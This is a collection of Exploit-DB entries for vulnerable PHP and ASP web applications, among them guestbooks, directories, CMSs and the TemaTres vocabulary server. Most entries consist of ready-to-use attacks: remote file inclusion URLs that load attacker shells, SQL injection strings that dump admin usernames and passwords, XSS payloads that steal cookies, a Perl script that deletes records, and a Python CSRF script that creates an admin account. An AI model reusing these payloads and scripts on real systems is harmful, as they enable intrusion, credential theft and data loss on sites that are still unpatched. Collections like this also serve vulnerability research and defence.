deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28531
Description: Telekorn Signkorn Guestbook 1.x - '/help/en/adminhelp3.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info
         
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
         
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
         
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/help/en/adminhelp3.php?dir_path=[U r Evil Script] ;
Exploit-DB #28525
Description: Telekorn Signkorn Guestbook 1.x - '/includes/admin.inc.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info
   
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
   
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/includes/admin.inc.php?dir_path=[U r Evil Script] ;
Exploit-DB #28524
Description: Telekorn Signkorn Guestbook 1.x - '/includes/functions.admin.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info
  
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
  
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/includes/functions.admin.php?dir_path=[U r Evil Script] ;
Exploit-DB #28523
Description: Telekorn Signkorn Guestbook 1.x - '/includes/functions.gb.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info
 
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
 
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/includes/functions.gb.php?dir_path=[U r Evil Script] ;
Exploit-DB #28536
Description: Telekorn Signkorn Guestbook 1.x - 'entry.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info
              
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
              
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
              
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/entry.php?dir_path=[U r Evil Script] ;
Exploit-DB #28526
Description: Telekorn Signkorn Guestbook 1.x - 'help.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info
    
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
    
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/help.php?dir_path=[U r Evil Script] ;
Exploit-DB #28522
Description: Telekorn Signkorn Guestbook 1.x - 'index.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info

Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/index.php?dir_path=[U r Evil Script] ;
Exploit-DB #28527
Description: Telekorn Signkorn Guestbook 1.x - 'smile.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info
     
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
     
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/smile.php?dir_path=[U r Evil Script] ;
Exploit-DB #5769
Description: Telephone Directory 2008 - Arbitrary Delete Contact
Type: webapps
Platform: php
Date: 2008-06-09
Author: Stack

Exploit:
#!/usr/bin/perl -w
# Telephone Directory 2008 <=  Arbitrary Delete Contact
########################################
#[*] Founded &  Exploited by : Stack
#[*] Contact: Ev!L =>> see down
#[*] Greetz : Houssamix & Djekmani & Jadi &  iuoisn & hak3r-b0y All muslims HaCkeRs  :)
#[*]  Special Thnx To : Simo64  L3azzzzzz khouya
########################################
#----------------------------------------------------------------------------#
########################################
# * TITLE:          PerlSploit Class
# * REQUIREMENTS:   PHP 4 / PHP 5
# * VERSION:        v.1
# * LICENSE:        GNU General Public License
# * ORIGINAL URL:   http://www.v4-Team/v4.txt
# * FILENAME:       PerlSploitClass.pl
# *
# * CONTACT:        Wanted  (french / english / arabic / moroco Darija :d )
# * THNX : AllaH
# * GREETZ:         Houssamix & Djekmani
########################################
#----------------------------------------------------------------------------#
########################################
system("color f");
print "\t\t############################################################\n\n";
print "\t\t#   Telephone Directory 2008 <=  Arbitrary Delete Contact  #\n\n";
print "\t\t#                          by Stack                        #\n\n";
print "\t\t############################################################\n\n";
########################################
#----------------------------------------------------------------------------#
########################################
use LWP::UserAgent;
die "Example: perl $0 http://victim.com/path/\n" unless @ARGV;
print "\n[!] ContactID : ";
chomp(my $id=<STDIN>);
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $ARGV[0] . "/del_query1.php?id=".$id."";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
if ($answer =~ /Contact(.*?)<br>/){
        print "\nBrought to you by v4-team.com...\n";
        print "\n[+] Contact$1\n";}
  else{print "\n[-] Exploit Failed...\n";}
  
########################################
#-------------------         Exploit exploited by Stack       --------------------#
########################################

# milw0rm.com [2008-06-09]
Exploit-DB #5764
Description: Telephone Directory 2008 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-09
Author: CWH Underground

Exploit:
====================================================================
 Telephone Directory 2008 (SQL/XSS) Multiple Remote Vulnerabilities
====================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 9 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : Telephone Directory 2008
 DOWNLOAD    : http://downloads.sourceforge.net/telephone
#####################################################

---SQL Injection Exploit---

***magic_quotes_gpc = Off***

1. Vulnerable in edit1.php
##############################################
Line:
    23:	if (($code != "") && ($action == "confirm_data"))
    24:	{
    25:	$query = "select * from $tele[dir_tbl] where id = '$code'";
    26:	$query_run = mysql_query($query, $con) or die(mysql_error());
    27:	$num_rows =  mysql_num_rows($query_run);
###############################################

Exploit 1:

http://[target]/[path]/edit1.php?action=confirm_data&code=1'/**/UNION/**/SELECT/**/1,name,3,4,5,6,7,8,9,10,11,12/**/FROM/**/dept/**/WHERE/**/ID='HOUS001


2. Vulnerable in view_more.php
##############################################
Line:
    5:	$icode = $_GET[id];

    12:	$query = "select name, desgid, deptid, doj, oadd from $tele[dir_tbl] where id = '$icode'";
    13:	$query_run = mysql_query($query,$con) or die(mysql_error());
    14:	while($i = mysql_fetch_array($query_run))
###############################################

Exploit 2:

http://[target]/[path]/view_more.php?id=1'/**/UNION/**/SELECT/**/1,2,3,name,5/**/FROM/**/dept/**/WHERE/**/ID='INTX007812


---Reflect XSS Exploit---

http://[target]/[path]/edit1.php?action=<XSS>


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-09]
Exploit-DB #36463
Description: Telescope 0.9.2 - Markdown Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2015-03-21
Author: shubs

Exploit:
# Exploit Title: Persistent XSS via Markdown on Telescope  <= 0.9.2
# Date: Aug 22 2014
# Exploit Author: shubs
# Vendor Homepage: http://www.telescopeapp.org/
# Software Link: https://github.com/TelescopeJS/Telescope
# Version: <= 0.9.2
# CVE : CVE-2014-5144

Telescope 0.9.2 and below suffer from a persistent cross site scripting
vulnerability due to the lack of input sanitisation and validation
performed when parsing markdown user input. An authenticated user can
include links, images, code blocks and more through markdown, in the form
of comments, posts or replies and more.

As an example, the following vectors below can be used in comments, posts
or replies to trigger the XSS:

[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

Once posted as comments, the above markdown is converted to links without
any sanitisation. When such links are clicked, the vector is executed
successfully.

Screenshots:
http://i.imgur.com/6SQgUYd.png
http://i.imgur.com/6VeZasj.png
Exploit-DB #12717
Description: Telia Web Design - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-24
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------------

Telia Web Design (index.php) SQL Injection Vulnerability

-------------------------------------------------------------------------------------------

Author: CoBRa_21

Mail: uyku_cu@windowslive.com

Script Home: http://www.telia.co.gr/

-------------------------------------------------------------------------------------------

Sql Injection:

http://localhost/[path]/index.php?module=content&action=article&id=-80/**/union/**/select/**/group_concat(username,0x3a,password),2/**/from/**/users


Admin Panel

http://localhost/[path]/admin
-------------------------------------------------------------------------------------------
Exploit-DB #4684
Description: tellmatic 1.0.7 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-12-01
Author: ShAy6oOoN

Exploit:
~~~~~~~~~~~~~~~~~~~~~~
~ tellmatic 1.0.7 RFI ~
~~~~~~~~~~~~~~~~~~~~~~

---------------------
Author              : ShAy6oOoN
---------------------
Group               : PitBull Crew
---------------------
Script              : tellmatic 1.0.7
---------------------
Download            : http://downloads.sourceforge.net/tellmatic/tellmatic-1.0.7.tgz?modtime=[PII_REDACTED]&big_mirror=0
---------------------
Vulnerability Type  : Remote File Inclusion
---------------------
Method              : get
---------------------
Register_globals    : On
---------------------
Exploit URL's       :
---------------------

http://localhost/tellmatic/include/Classes.inc.php?tm_includepath=http://localhost/shell.txt?

http://localhost/tellmatic/include/statistic.inc.php?tm_includepath=http://localhost/shell.txt?

http://localhost/tellmatic/include/status.inc.php?tm_includepath=http://localhost/shell.txt?

http://localhost/tellmatic/include/status_top_x.inc.php?tm_includepath=http://localhost/shell.txt?

http://localhost/tellmatic/include/libchart-1.1/libchart.php?tm_includepath=http://localhost/shell.txt?


Greetings:
----------

PitBull Crew : The_PitBull - iNs - c0ol - Raz0r


Thanks To:
----------

str0ke

# milw0rm.com [2007-12-01]
Exploit-DB #26324
Description: TellMe 1.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-10-05
Author: Donnie Werner

Exploit:
source: https://www.securityfocus.com/bid/15012/info

TellMe is prone to multiple cross-site scripting vulnerabilities. This is due to a lack of proper sanitization of user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://[host]/tellme/index.php?q_Host=<iframe> src=http://whatismyip.com></iframe>
Exploit-DB #3885
Description: telltarget 1.3.3 - 'tt_docroot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-09
Author: GoLd_M

Exploit:
# telltarget CMS 1.3.3 <= Multiple Remote File Inclusion Vulnerabilitie
# D.Script: http://www.telltargetcms.de/download/telltarget_1.3.3.zip 
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.Com/cc
# Exploit:[Path]/phplib/site_conf.php?ordnertiefe=Shell
# Exploit:[Path]/phplib/version/1.3.3/functionen/class.csv.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/functionen/produkte_nach_serie.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/functionen/ref_kd_rubrik.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/module/hg_referenz_jobgalerie.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/module/surfer_anmeldung_NWL.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/module/produkte_nach_serie_alle.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/module/surfer_aendern.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/module/ref_kd_rubrik.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/module/referenz.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/standard/1/lay.php?tt_docroot=Shell
# Exploit:[Path]/phplib/version/1.3.3/standard/3/lay.php?tt_docroot=Shell
# Greetz To: Tryag-Team ....&&&

# milw0rm.com [2007-05-09]
Exploit-DB #27281
Description: Telmanik CMS Press 1.01b - 'pages.php?page_name' SQL Injection
Type: webapps
Platform: php
Date: 2013-08-02
Author: Anarchy Angel

Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x] Type: SQL Injection
[x] Vendor: www.telmanik.com
[x] Script Name: Telmanik CMS Press
[x] Script Version: 1.01b
[x] Script DL:
http://www.telmanik.com/download/Telmanik_CMS_Press/1.01_beta/telmanik_cms_press_v1.01_beta.zip
[x] Author: Anarchy Angel
[x] Mail : anarchy[at]dc414[dot]org
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Exploit:

http://site.org/themes/pages.php?page_name=[SQLi]

you have to formate you injection like so:
union_select_row_from_table
Replacing spaces with �_�.

Ex:

http://site.org/themes/pages.php?page_name=union_select_password_from_members

This is a special DefCon 21 kick off from me! See ya there [image: ;)]

Special Tnx : dc414, lun0s, proge, sToRm, progenic, gny
Exploit-DB #35655
Description: TemaTres 1.3 - '_search_expresion' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-25
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47569/info

TemaTres is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

TemaTres 1.3 is vulnerable; prior versions may also be affected. 

http://www.example.com/tematres1.3/vocab/index.php?_search_expresions=[xss]
Exploit-DB #47672
Description: TemaTres 3.0 - 'value' Persistent Cross-site Scripting
Type: webapps
Platform: php
Date: 2019-11-18
Author: Pablo Santiago

Exploit:
# Exploit Title: TemaTres 3.0 - 'value' Persistent Cross-site Scripting
# Author: Pablo Santiago
# Date: 2019-11-14
# Vendor Homepage: https://www.vocabularyserver.com/
# Source: https://sourceforge.net/projects/tematres/files/TemaTres%203.0/tematres3.0.zip/download
# Version: 3.0
# CVE : 2019–14343
# Reference: https://medium.com/@Pablo0xSantiago/cve-2019-14343-ebc120800053
# Tested on: Windows 10

#Description:
The parameter "value" its vulnerable to Stored Cross-site scripting..

#Payload: “><script>alert(“XSS”)<%2fscript>

POST /tematres3.0/vocab/admin.php?vocabulario_id=list HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)
Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/tematres3.0/vocab/admin.php?vocabulario_id=list
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Connection: close
Cookie: PHPSESSID=uejtn72aavg5eit9sc9bnr2jse
Upgrade-Insecure-Requests: 1

doAdmin=&valueid=&value=12vlpcv%22%3e%3cscript%3ealert(%22XSS%22)%3c%2fscript%3edx6e1&alias=ACX&orden=2
Exploit-DB #47670
Description: TemaTres 3.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2019-11-18
Author: Pablo Santiago

Exploit:
# Exploit Title: TemaTres 3.0 — Cross-Site Request Forgery (Add Admin)
# Author: Pablo Santiago
# Date: 2019-11-14
# Vendor Homepage: https://www.vocabularyserver.com/
# Source: https://sourceforge.net/projects/tematres/files/TemaTres%203.0/tematres3.0.zip/download
# Version: 3.0
# CVE : 2019–14345
# Reference:https://medium.com/@Pablo0xSantiago/cve-2019-14345-ff6f6d9fd30f
# Tested on: Windows 10

# Description:
# Web application for management formal representations of knowledge,
# thesauri, taxonomies and multilingual vocabularies / Aplicación para
# la gestión de representaciones formales del conocimiento, tesauros,
# taxonomías, vocabularios multilingües.

#Exploit

import requests
import sys

session = requests.Session()

http_proxy = “http://127.0.0.1:8080"
https_proxy = “https://127.0.0.1:8080"

proxyDict = {
“http” : http_proxy,
“https” : https_proxy
}

url = ‘http://localhost/tematres/vocab/login.php'
values = {‘id_correo_electronico’: ‘pablo@tematres.com’,
‘id_password’: ‘admin’,
‘task’:’login’}

r = session.post(url, data=values, proxies=proxyDict)
cookie = session.cookies.get_dict()[‘PHPSESSID’]

print (cookie)

host = sys.argv[1]
user = input(‘[+]User:’)
lastname = input(‘[+]lastname:’)
password = input(‘[+]Password:’)
password2 = input(‘[+]Confirm Password:’)
email = input(‘[+]Email:’)

if (password == password2):
#configure proxy burp

data = {
‘_nombre’:user,
‘_apellido’:lastname,
‘_correo_electronico’:email,
‘orga’:’bypassed’,
‘_clave’:password,
‘_confirmar_clave’:password2,
‘isAdmin’:1,
‘boton’:’Guardar’,
‘userTask’:’A’,
‘useactua’:’’

}
headers= {
‘Cookie’: ‘PHPSESSID=’+cookie
}
request = session.post(host+’/tematres/vocab/admin.php’, data=data,
headers=headers, proxies=proxyDict)
print(‘+ — — — — — — — — — — — — — — — — — — — — — — — — — +’)
print(‘Status Code:’+ str(request.status_code))

else:
print (‘Passwords dont match!!!’)
Exploit-DB #7339
Description: template creature - SQL Injection / File Disclosure
Type: webapps
Platform: php
Date: 2008-12-04
Author: ZoRLu

Exploit:
[~] ASP Template Creature DD/SQL Multiple Remote Vuln.
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------


exp for demo: ( DD )

http://demo.merlix.com/templatecreature/workDB/templatemonster.mdb

exp for demo: ( sql inj )

user: http://demo.merlix.com/templatecreature/media/media_level.asp?mcatid=999999+union+select+1,vcUserName,3+from+tb_adminUser

pass: http://demo.merlix.com/templatecreature/media/media_level.asp?mcatid=999999+union+select+1,vcPassword,3+from+tb_adminUser

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-12-04]